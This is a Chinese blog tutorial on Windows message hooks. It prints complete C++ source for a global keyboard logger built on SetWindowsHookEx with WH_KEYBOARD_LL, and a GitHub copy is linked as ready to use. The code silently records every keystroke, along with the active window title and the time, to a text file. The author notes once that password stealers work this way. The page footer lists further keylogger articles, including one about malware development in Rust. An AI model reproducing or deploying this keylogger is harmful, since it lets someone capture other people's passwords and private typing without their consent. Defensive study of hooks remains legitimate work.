手把手教你用SetWindowsHookEx做一个键盘记录器

使用Windows钩子HOOK拦截鼠标和键盘的操作,实现禁用键盘鼠标功能,监听键盘按键功能 /*------------------------------以下为头文件声明-------------------------*/ #ifndef GLOBALHOOKMANAGER1_H #define GLOBALHOOKMANAGER1_H #include <windows.h> static HHOOK m_Mouse;//鼠标钩子句柄 static HHOOK m_K... 阅读详情

“无忌,我教你的还记得多少?”
“回太师傅,我只记得一大半。”
“那,现在呢?”
“已经剩下一小半了。”
“那,现在呢?”
“我已经把所有的全忘记了!”
“好,你可以上了!”

羡慕张无忌,忘记了武功,打败了敌人;而我自己,忘记了武功,菜哭了自己。

已经一年多没有接触这个了,忘得干干净净,幸亏肌肉记忆还在,学起来十分亲切,废话不多说,进入正题。

前言

Hook是程序设计中最为灵活多变的技巧之一,在windows下,Hook有两种含义:
1、系统提供的消息Hook机制,也就是我们今天要实现的hook,在后面会讲到。
2、自定义的Hook编程技巧

​ 自定义的Hook编程技巧则是基于特定系统结构、文件结构、汇编语言的一种高级技术,运用自如后犹如手握屠龙刀倚天剑。

操作环境:

visual studio 2015

Windows 10

消息Hook

Windows消息hook主要通过SetWindowsHookEx去下钩,通过UnhookWindowsHookEx()去断钩,所以我们接下来主要学会用这俩个函数。

我们之所以可以进行消息Hook,是因为Windows的消息机制;简单来说:

Windows系统是建立在事件驱动的机制上的,每一个事件就是一个消息,每个运行中的程序,也就是所谓的进程,都维护者一个或多个消息队列,消息队列的个数取决于进程内包含的线程的个数。由于一个进程至少要拥有一个线程,所以进程至少要有一个消息队列。虽然Windows系统的消息分派是以线程为单位的,但并不是所有的线程都有消息队列,一个新创建的线程是没有消息队列的,只有当线程第一次调用GDI或USER32库函数的时候Windows才为线程创建消息队列。消息最终由属于线程的窗口来处理,普通的应用程序只能获取本线程的消息队列中的消息,也就是只能获得系统分派的、属于本线程的消息,换句话说,一个线程在运行过程中是不知道其它线程发生了什么事情的。但是有一类特殊的程序却可以访问其他线程的消息队列,那就是钩子程序。

(Windows消息机制还是十分重要的,这里我不多赘述,了解这些内容,足够咱们接下来的学习了,想要了解更多,建议看这篇文章https://zhuanlan.zhihu.com/p/42992978)

编写钩子程序是Windows系统提供给用户的一种对Windows运行过程进行干预的机制,通过钩子程序,Windows将内部流动的消息暴露给用户,使用户能够在消息被窗口管理器分派之前对其进行特殊的处理,比如在调试程序的时候跟踪消息流程。但是,任何事情都有其两面性,一些密码窃取工具就是利用系统键盘钩子截获其他程序的键盘消息,从而获取用户输入的密码,可见非法的钩子程序对计算机信息安全具有极大的危害性。

(那么我们今天就通过消息hook实现一个简单的键盘记录器,嘿嘿,知己知彼,百战不殆)!

消息Hook流程

第一步:安装钩子

最后一步:卸载钩子

中间步骤:我们要实现回调函数,实现我们自己的操作。例如获得键盘输入信息,并将其保存到txt文件中

通过setWindowsHookEx()实现键盘记录器

实现原理

当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;

应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。 我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。

可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。

安装钩子

SetWindowsHookEx

WINUSERAPI
HHOOK
WINAPI
SetWindowsHookEx(
     //钩子类型
    _In_ int idHook,
    //回调函数地址
    _In_ HOOKPROC lpfn,
    //实例句柄(包含有钩子函数)
    _In_opt_ HINSTANCE hmod,
    //线程ID,欲勾住的线程(为0则不指定,全局)
    _In_ DWORD dwThreadId);

能设置的hook类型如下:

宏值含义
WH_MSGFILTER截获用户与控件交互的消息
WH_KEYBOARD截获键盘消息
WH_GETMESSAGE截获从消息队列送出的消息
WH_CBT截获系统基本消息,激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件
WH_MOUSE截获鼠标消息
WH_CALLWNDPROCRET截获目标窗口处理完毕的消息

我们这里hook键盘消息:

SetWindowsHookEx(
		WH_KEYBOARD_LL, //  low-level keyboard input events
        HookProcedure, //  回调函数地址
        GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
        NULL //线程ID,欲勾住的线程(为0则不指定,全局)
    );

使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件到下一个Hook子程需要调用CallNextHookEx函数。

为钩子链中的下一个子程序设置钩子。在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个 SDK中的API函数CallNextHookEx来传递它,以执行钩子链表所指的下一个钩子子程。

WINUSERAPI
LRESULT
WINAPI
CallNextHookEx(
    //钩子句柄,由SetWindowsHookEx()函数返回。
    _In_opt_ HHOOK hhk,
    
    //钩子事件代码,回调函数的钩子过程的事件代码
    _In_ int nCode,
    
    //传给钩子子程序的wParam值
    _In_ WPARAM wParam,
    
    //传给钩子子程序的lParam值
    _In_ LPARAM lParam);

卸载钩子

卸载钩子API,钩子在使用完之后需要用UnhookWindowsHookEx()卸载,否则会造成麻烦。

WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
     //要删除的钩子的句柄。这个参数是上一个函数SetWindowsHookEx的返回值.
    _In_ HHOOK hhk);

键盘记录

主要的功能我们通过SetwindowsHookEx()参数中的回调函数HookProcedure()来实现。

LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)

在里面我们会实现获得256个虚拟键的状态,并将其转换为真实字符

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fwkl4X3e-1631233055133)(C:\Users\11073\AppData\Roaming\Typora\typora-user-images\image-20210908224511747.png)]

输出:这里我们写了俩种方式

1.输出到控制台

2.输出到文本,并保存

一些逻辑

获得当前窗口和当前时间;

将记录的键盘消息保存到文件中;

效果

x86效果:
在这里插入图片描述

x64位

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I4yCuvC7-1631233055137)(C:\Users\11073\AppData\Roaming\Typora\typora-user-images\image-20210908222222498.png)]

保存在txt文件中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yZB9s8e5-1631233055140)(C:\Users\11073\AppData\Roaming\Typora\typora-user-images\image-20210908222315186.png)]

Code

github下载,可直接使用,或修改测试
链接: windows hook.

//  使用SetWindowsHookEx实现键盘记录器
#include <Windows.h>
#include <string>
#include <fstream>
#include <sstream>
#include <iostream>
#include "键盘消息Hook.h"
#include "vld.h"
//  全局键盘Hook句柄
HHOOK kKeyboardHook;
//  Shift Key 
BOOL bShift = FALSE;
//  存放键盘消息
std::string fileName = "D:\\test.txt";
//  Windows Title Text -260 char-
char cWindow[1000];
//  NULL is ok
HWND lastWindow = NULL;
int main()
{
    std::cout << "start !" << std::endl;
    //  设置键盘钩子
    if (!HookKeyBoard())
    {
        std::cout << "Hook KeyBoard Failed!" << std::endl;
    }
    unhookKeyboard();//释放hook
}

/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOL HookKeyBoard()
{
    BOOL bRet = FALSE;

    kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, //  low-level keyboard input events
                                    HookProcedure, //  回调函数地址
                                    GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
                                    NULL //线程ID,欲勾住的线程(为0则不指定,全局)
    );
    if (!kKeyboardHook) 
    {
        //  如果SetWindowsHookEx 失败
        std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl;
    }
    else
    {
        std::cout << "[*] KeyCapture handle ready" << std::endl;
        MSG Msg{};  //  统一初始化
        while (GetMessage(&Msg, NULL, 0, 0) > 0)
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
        bRet = TRUE;
    }
    return bRet;
}
/********************************************************
函数作用:钩子回调
返回值:是否hook成功
*********************************************************/
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
{
    std::ofstream myfile(fileName, std::ios::out | std::ios::app);
    BOOL  caps = FALSE;  //  默认大写关闭
    SHORT capsShort = GetKeyState(VK_CAPITAL);
    std::string outPut;
    std::stringstream ssTemp;  //  string 字符流
    if (capsShort > 0)
    {
        //  如果大于0,则大写键按下,说明开启大写;反之小写
        caps = TRUE;
    }
    /*
    WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back
    LINK = https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
    */
    //  LowLevelKeyboardProc Structure 
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
    //  wParam和lParam参数包含关于键盘消息的信息。
    if (nCode == HC_ACTION)
    {
        // Messsage data is ready for pickup
        // Check for SHIFT key
        if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT)
        {
            //  WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
            if (wParam == WM_KEYDOWN)
            {
                bShift = TRUE;
            }
            if (wParam == WM_KEYUP)
            {
                bShift = FALSE;
            }
            else
            {
                bShift = FALSE;
            }
        }
        //  Start Loging keys now we are setup
        if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
        {
            //  Retrieves a handle to the foreground window (the window with which the user is currently working).
            HWND currentWindow = GetForegroundWindow();  //  返回前台窗口,获得当前窗口
            //  Check if we need to write new window output
            if (currentWindow != lastWindow)
            {
                SYSTEMTIME t{};
                GetLocalTime(&t);  //  获得当前系统时间
                int day = t.wDay;
                int month = t.wMonth;
                int year = t.wYear;
                int hour = t.wHour;
                int min = t.wMinute;
                int sec = t.wSecond;
                int dayName = t.wDayOfWeek;
                //  Build our output header
                ssTemp << "\n\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << "  ";
                ssTemp << hour << ":" << min << ":" << sec;
                outPut.append(ssTemp.str());
                ssTemp.clear();
                //  GetWindowTextACCC
                int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
                std::cout << c;
                ssTemp << " - Current Window: " << cWindow << "\n\n";
                //outPut.append(temp.str());
                std::cout << ssTemp.str() << std::endl;
                myfile << ssTemp.str();
                
                // Setup for next CallBackCC
                lastWindow = currentWindow;
            }
            //  Now capture keys
            if (p->vkCode)
            {
                ssTemp.clear();
                ssTemp << HookCode(p->vkCode, caps, bShift);
                std::cout << ssTemp.str();
                myfile << ssTemp.str();
                
            }
            //  Final output logic
        }
    }
    //  hook procedure must pass the message *Always*
    myfile.close();
    return CallNextHookEx(NULL, nCode, wParam, lParam);  //  hook链
}
/********************************************************
函数作用:时间
返回值:返回时间
*********************************************************/
std::string Dayofweek(int code)
{
    // Return Day of the year in text
    std::string name;
    switch (code)
    {
    case 0: name = "[SUNDAY]"; break;
    case 1: name = "[MONDAY]"; break;
    case 2: name = "[TUESDAY]"; break;
    case 3: name = "[WENSDAY]"; break;
    case 4: name = "[THURSDAY]"; break;
    case 5: name = "[FRIDAY]"; break;
    case 6: name = "[SATURDAY]"; break;
    default:
        name = "[UNKOWN]";
    }
    return name;
}


/********************************************************
函数作用:将获得键盘消息转换为字符
参数说明: DWORD code 获得的键盘消息
BOOL caps 是否开启大写
BOOL shift 是否按下shift
返回值:转换的字符
*********************************************************/
std::string HookCode(DWORD code, BOOL caps, BOOL shift)
{
    std::string key;
    switch (code) // SWITCH ON INT
    {
        // Char keys for ASCI
        // No VM Def in header 
    case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
    case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
    case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
    case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
    case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
    case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
    case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
    case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
    case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
    case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
    case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
    case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
    case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
    case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
    case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
    case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
    case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
    case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
    case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
    case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
    case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
    case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
    case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
    case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
    case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
    case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
        // Sleep Key
    case VK_SLEEP: key = "[SLEEP]"; break;
        // Num Keyboard 
    case VK_NUMPAD0:  key = "0"; break;
    case VK_NUMPAD1:  key = "1"; break;
    case VK_NUMPAD2: key = "2"; break;
    case VK_NUMPAD3:  key = "3"; break;
    case VK_NUMPAD4:  key = "4"; break;
    case VK_NUMPAD5:  key = "5"; break;
    case VK_NUMPAD6:  key = "6"; break;
    case VK_NUMPAD7:  key = "7"; break;
    case VK_NUMPAD8:  key = "8"; break;
    case VK_NUMPAD9:  key = "9"; break;
    case VK_MULTIPLY: key = "*"; break;
    case VK_ADD:      key = "+"; break;
    case VK_SEPARATOR: key = "-"; break;
    case VK_SUBTRACT: key = "-"; break;
    case VK_DECIMAL:  key = "."; break;
    case VK_DIVIDE:   key = "/"; break;
        // Function Keys
    case VK_F1:  key = "[F1]"; break;
    case VK_F2:  key = "[F2]"; break;
    case VK_F3:  key = "[F3]"; break;
    case VK_F4:  key = "[F4]"; break;
    case VK_F5:  key = "[F5]"; break;
    case VK_F6:  key = "[F6]"; break;
    case VK_F7:  key = "[F7]"; break;
    case VK_F8:  key = "[F8]"; break;
    case VK_F9:  key = "[F9]"; break;
    case VK_F10:  key = "[F10]"; break;
    case VK_F11:  key = "[F11]"; break;
    case VK_F12:  key = "[F12]"; break;
    case VK_F13:  key = "[F13]"; break;
    case VK_F14:  key = "[F14]"; break;
    case VK_F15:  key = "[F15]"; break;
    case VK_F16:  key = "[F16]"; break;
    case VK_F17:  key = "[F17]"; break;
    case VK_F18:  key = "[F18]"; break;
    case VK_F19:  key = "[F19]"; break;
    case VK_F20:  key = "[F20]"; break;
    case VK_F21:  key = "[F22]"; break;
    case VK_F22:  key = "[F23]"; break;
    case VK_F23:  key = "[F24]"; break;
    case VK_F24:  key = "[F25]"; break;
        // Keys
    case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
    case VK_SCROLL:  key = "[SCROLL-LOCK]"; break;
    case VK_BACK:    key = "[BACK]"; break;
    case VK_TAB:     key = "[TAB]"; break;
    case VK_CLEAR:   key = "[CLEAR]"; break;
    case VK_RETURN:  key = "[ENTER]"; break;
    case VK_SHIFT:   key = "[SHIFT]"; break;
    case VK_CONTROL: key = "[CTRL]"; break;
    case VK_MENU:    key = "[ALT]"; break;
    case VK_PAUSE:   key = "[PAUSE]"; break;
    case VK_CAPITAL: key = "[CAP-LOCK]"; break;
    case VK_ESCAPE:  key = "[ESC]"; break;
    case VK_SPACE:   key = "[SPACE]"; break;
    case VK_PRIOR:   key = "[PAGEUP]"; break;
    case VK_NEXT:    key = "[PAGEDOWN]"; break;
    case VK_END:     key = "[END]"; break;
    case VK_HOME:    key = "[HOME]"; break;
    case VK_LEFT:    key = "[LEFT]"; break;
    case VK_UP:      key = "[UP]"; break;
    case VK_RIGHT:   key = "[RIGHT]"; break;
    case VK_DOWN:    key = "[DOWN]"; break;
    case VK_SELECT:  key = "[SELECT]"; break;
    case VK_PRINT:   key = "[PRINT]"; break;
    case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
    case VK_INSERT:  key = "[INS]"; break;
    case VK_DELETE:  key = "[DEL]"; break;
    case VK_HELP:    key = "[HELP]"; break;
        // Number Keys with shift
    case 0x30:  key = shift ? "!" : "1"; break;
    case 0x31:  key = shift ? "@" : "2"; break;
    case 0x32:  key = shift ? "#" : "3"; break;
    case 0x33:  key = shift ? "$" : "4"; break;
    case 0x34:  key = shift ? "%" : "5"; break;
    case 0x35:  key = shift ? "^" : "6"; break;
    case 0x36:  key = shift ? "&" : "7"; break;
    case 0x37:  key = shift ? "*" : "8"; break;
    case 0x38:  key = shift ? "(" : "9"; break;
    case 0x39:  key = shift ? ")" : "0"; break;
        // Windows Keys
    case VK_LWIN:     key = "[WIN]"; break;
    case VK_RWIN:     key = "[WIN]"; break;
    case VK_LSHIFT:   key = "[SHIFT]"; break;
    case VK_RSHIFT:   key = "[SHIFT]"; break;
    case VK_LCONTROL: key = "[CTRL]"; break;
    case VK_RCONTROL: key = "[CTRL]"; break;
        // OEM Keys with shift 
    case VK_OEM_1:      key = shift ? ":" : ";"; break;
    case VK_OEM_PLUS:   key = shift ? "+" : "="; break;
    case VK_OEM_COMMA:  key = shift ? "<" : ","; break;
    case VK_OEM_MINUS:  key = shift ? "_" : "-"; break;
    case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
    case VK_OEM_2:      key = shift ? "?" : "/"; break;
    case VK_OEM_3:      key = shift ? "~" : "`"; break;
    case VK_OEM_4:      key = shift ? "{" : "["; break;
    case VK_OEM_5:      key = shift ? "\\" : "|"; break;
    case VK_OEM_6:      key = shift ? "}" : "]"; break;
    case VK_OEM_7:      key = shift ? "'" : "'"; break; //TODO: Escape this char: "
                                                        // Action Keys
    case VK_PLAY:       key = "[PLAY]";
    case VK_ZOOM:       key = "[ZOOM]";
    case VK_OEM_CLEAR:  key = "[CLEAR]";
    case VK_CANCEL:     key = "[CTRL-C]";

    default: key = "[UNK-KEY]"; 
        break;
    }
    return key;
}


/********************************************************
函数作用:释放键盘钩子
返回值: void
*********************************************************/
void unhookKeyboard()
{
    if (kKeyboardHook != 0)
    {
       UnhookWindowsHookEx(kKeyboardHook);
    }
    exit(0);
}

参考资料

【windows核心编程】系统消息与自定义钩子(Hook)使用

HOOK教程一_使用SetWindowsHookEx进行Windows消息HOOK

总结

之后将继续更新hook系列。
在这里插入图片描述

hook:实现简单的键盘记录器 说到hook技术,开始我真是一头雾水! 不久前看到一篇博客,实现 了一个简单的键盘记录器。我从中颇为受益!今天就来和大家分享一下我的一个小例子,并说说我的感悟! 首先就从main()函数开始吧,不过这个是带有窗口的程序,切记:WINAPI #define _WIN32_WINNT 0x0500 #include #include #include using namespa 阅读详情

相关推荐

实战解析:Python在Win10下构建键盘记录器的核心技术

本文详细解析了在Windows 10系统下使用Python构建键盘记录器的核心技术,包括键盘事件捕获、钩子机制实现及剪贴板监控等关键步骤。文章不仅提供了完整的代码实现,还强调了合法使用的重要性,并探讨了防御键盘记录攻击的有效方法。

weixin_30919429的博客 432

SetWindowsHookEx函数详解

1、函数功能 该函数将一个应用程序定义的挂钩处理过程安装到挂钩链中去,您可以通过安装挂钩处理过程来对系统的某些类型事件进行监控,这些事件与某个特定的线程或系统中的所有事件相关。 所以,为什么要用钩子? 窗口被强行至于底部或是最小化情况下是得不到焦点的(无法得到鼠标相关事件)。为了响应用户的消息,只能用钩子的方式,获取鼠标消息。 2、函数原型 函数原型: HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn,HINSTANCEhMod,DWORD dwTh

weixin_42887343的博客 1万+

C++程序调用SetWindowsHookEx全局拦截键盘按键消息和窗口消息的Hook实例分享

本文分享调用SetWindowsHookEx全局拦截键盘按键消息和窗口消息的两个Hook实例。

dvlinker的技术专栏 1万+

SetWindowsHookEx: 全局钩子实现键盘记录器

SetWindowsHookEx 钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。

【Rainbow Network Technology co., LTD】 1819

Hook鼠标和键盘的使用

今天项目中要用钩子程序,结果网上原理讲的挺好,但是代码好多都不好用,总结一下方便日后使用。 简介: Hook 技术又叫做钩子函数,在系统没有调用该函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递。简单来说,就是把系统的程序拉出来变成我们自己执行代码片段。 过程: 创建(安装)钩子:SetWindowsHookEx 使用回调函数:KeybdProc MouseProc CallNextHookEx(使用完成后要用这个函数将

轩宇的博客 1195

全局键盘钩子SetWindowHookEx:Windows编程中的事件监控机制

SetWindowHookEx函数是Windows API中的一个重要函数,它用于安装一个钩子(Hook)过程,以便在特定事件发生时得到通知。这种机制可以让我们在操作系统处理某些消息之前拦截并处理这些消息,例如键盘、鼠标或其他系统级事件。SetWindowHookEx函数为开发者提供了灵活的手段,来增强应用程序的功能或实现特定的系统级监控。安装钩子的过程涉及到指定一个回调函数,该函数将在满足特定条件的事件发生时被调用。这个过程通常在应用程序的初始化阶段完成,设置好钩子后,它将持续运行直到显式地移除。

weixin_42612804的博客 1540

写的一个全局钩子 键盘记录器

这个 先看效果吧 其实实现很简单 我本来不想写的 但是 有个人写出来了 还很骄傲 。。。。。 然后还说你行你上 然后我就上了 如果不是debug 3个小时 我 一个小时就写完了 其实很简单 然后这是写到文件里的 但是 说实话 在windows 10里面作用不大 LRESULT pro(int code, WPARAM wParam, LPA...

qq_41071646的博客 827

键盘记录器源码解析与模块实现入门实战

键盘记录器是一种能够捕获用户在键盘上输入内容的技术工具,其核心原理是监听操作系统底层的输入事件流。它可在用户无感知的情况下记录按键序列,进而还原出密码、聊天记录、搜索行为等敏感信息。从技术本质看,键盘记录器属于输入设备监控机制,广泛应用于合法领域如企业合规审计、员工行为分析、自动化测试脚本录制以及家长控制软件;同时,也常被滥用为恶意工具,用于窃取账户凭证或实施间谍活动。

weixin_36282234的博客 1140

使用Windows全局钩子打造键盘记录器

简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个函数能够实现优先拦截提交给特定窗口的信息,并进行拦截者需要的处理,然后再提交给窗口函数或是下一个钩子函数,函数第一个参数为idHook,需要设置钩子的类型,在以下代码样例中我们选择安装的钩子类型为W...

雨者 2830

Windows键盘记录器开发实战:Hook技术、日志落盘与自测避坑

键盘记录(Keylogger)是Windows平台安全调试与自动化测试中的常见需求,但其实现并非只靠一个API调用那么简单。从底层原理看,SetWindowsHookEx提供了低层键盘钩子(WH_KEYBOARD_LL),它无需DLL注入即可捕获按键事件,配合消息循环与回调队列,能在不阻塞系统输入的前提下完成按键采集。然而,真实工程中还需解决按键映射、热键暂停、日志滚动与加密脱敏等问题:使用DPAPI加密日志可避免明文泄露,可写性探测与目录回退能防止运行时异常,正则过滤连续数字能降低敏感信息暴露面。这类技术

weixin_34228387的博客 1420

Windows全局键盘钩子原理与防御:从键盘记录器到安全检测实战

在Windows系统安全领域,消息处理机制是理解应用程序交互的基础。钩子(Hook)作为Windows消息系统的核心组件,允许程序拦截并处理特定事件,如键盘输入。其技术原理基于Windows的消息驱动架构,通过钩子链和回调函数实现事件拦截。这项技术的工程价值在于既能支持辅助功能、自动化测试等合法场景,也可能被恶意软件利用,构成键盘记录器(Keylogger)等安全威胁。从应用场景看,全局键盘钩子(如WH_KEYBOARD_LL)可监控所有桌面线程的输入,常被用于用户行为分析,但也潜藏隐私泄露风险。本文通过一

weixin_33646989的博客 338

安全之路 —— 使用Windows全局钩子打造键盘记录器

简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个函数能够实现优先拦截提交给特定窗口的信息,并进行拦截者需要的处理,然后再提交给窗口函数或是下一个钩子函数,函数第一个参数为idHook,需要设置钩子的类型,在以下代码样例中我们选择安装的钩...

dengdao1372的博客 392

SetWindowsHook 函数 钩子类型定义.docx

钩子函数定义 用于查阅winapi的一些定义,已经整理 和备注说明 方便理解和使用。

键盘记录器源代码

模块部分Public Type EVENTMSGvKey As LongsKey As Longflag As Longtime As LongEnd TypeDeclare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As LongDeclare Fun...

weixin_34023982的博客 415

单细胞marker基因表达密度图-(还有一个包装函数)

我们借助Nebulosa,将上面的过程包装为一个函数,还是那句话,受累麻烦的事我们来解决,您轻松即可,先看看函数参数:需要注意的是,如果你只想框选某一类celltype,理想模式是这群celltype是单独聚类的,没有散落在其他类群,否则将会全部框选,效果不好,建议使用AI/PS添加。需要注意,这里我算是投机取巧了,用了一个和这个作图毫无关系的包ggnetwork,主要的目的是用他的theme_blank()主题,一次性将所有清空,当然也可以自己慢慢写,不过有现成的,为啥不用呢?这质感不就上去了嘛。

qq_42090739的博客 1372

手把手教你用gym训练宇树GO2机器人模型(附完整配置文件)

本文提供了一份详细的实战指南,教你如何使用Gym框架为宇树GO2四足机器人搭建强化学习训练环境。文章深入解析了环境配置、参数调试、奖励函数设置等关键步骤,并分享了避开常见陷阱的经验,旨在帮助开发者高效完成模型训练。

oo7890的博客 326

如何用Rust构建键盘记录器:Rust-for-Malware-Development实战教程

在网络安全领域,键盘记录器(Keylogger)是一种重要的监控工具,而使用Rust语言开发键盘记录器能够提供内存安全和性能优势。Rust-for-Malware-Development项目提供了完整的键盘记录器实现方案,帮助安全研究人员理解Windows系统底层的键盘监控机制。本文将详细介绍如何利用Rust构建高效的键盘记录器。 ## 键盘记录器技术原理概述 键盘记录器是监控和记录用户键盘输

gitblog_01143的博客 374

CloudCompare源码分析之CCCoreLib模块:ICP算法(阅读经典)

CloudCompare源码分析之CCCoreLib模块:ICP算法(阅读经典)

dayuhaitang1的博客 2551

C/C++ Hook 键盘记录器

之前写辅助做过指定进程的 Hook,但是没有尝试过全局 Hook,所以今天就来试试。全局 Hook 的用途我第一个就想到了键盘记录器(貌似我也就想到了这个 哈哈),那就写一个吧。

微软技术分享 1万+

视觉-语言模型:BLIP与Flamingo如何理解图文?

视觉-语言模型:BLIP与Flamingo如何理解图文? ,人工智能,计算机视觉,大模型,AI,在当今人工智能飞速发展的时代,视觉 - 语言模型作为多模态领域的关键技术,正逐渐改变着我们与数字世界交互的方式。它们致力于打破图像与文本之间的模态壁垒,使计算机能够像人类一样,综合理解和处理视觉与语言信息。其中,BLIP 和 Flamingo 两款模型脱颖而出,以独特的架构和创新的训练方法,在图像描述生成、视觉问答、图文检索等任务中展现出卓越的性能。本文将深入剖析 BLIP 与 Flamingo 模型的工作原理。

不踩坑,不知道坑有多深;不总结,踩过的坑白踩。 4万+

滚雪球学Java(01):Java是什么?| 入门指南

🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!!

**My Coding Family** 629

用Python造一个键盘记录功能出来!

Py工具系列旨在用Python来编写黑客工具。《Python编写键盘记录功能》是该系列第一篇文章,希望你引起你的兴趣。在此系列的学习过程中,还希望你多能自己动手编写代码,动手实践! 键盘记录已经是很古老的黑客技术了,但正因其居高地位,直到现在还在不同层面上广泛使用。简单的来讲,键盘记录就是攻击者获取信息的一种方式。获取信息包括账号、密码、手机号等等敏感信息以及词汇。 Python之所以强大,是...

专注前端技术,包括Web端、移动端、小程序、APP 1951

Far planner代码系列(2)

graph_decoder系列(2) 承接上文 我们接着来看decoder_node.cpp的代码部分 void GraphDecoder::Init() { /* initialize subscriber and publisher */ //graph_sub_ 订阅节点/robot_vgraph 其类型是visibility_graph_msg/Graph的消息 graph_sub_ = nh.subscribe("/robot_vgrap...

博客 1534
上一篇: Windows Hook的简单介绍——此树是我栽,此路是我开
下一篇: 最好用的json库,也许是JSON for modern C++ 的最佳实践!解决nlohmann json中文无法解析的问题!
CodeBowl
博客等级 码龄5年 7664粉丝 67原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值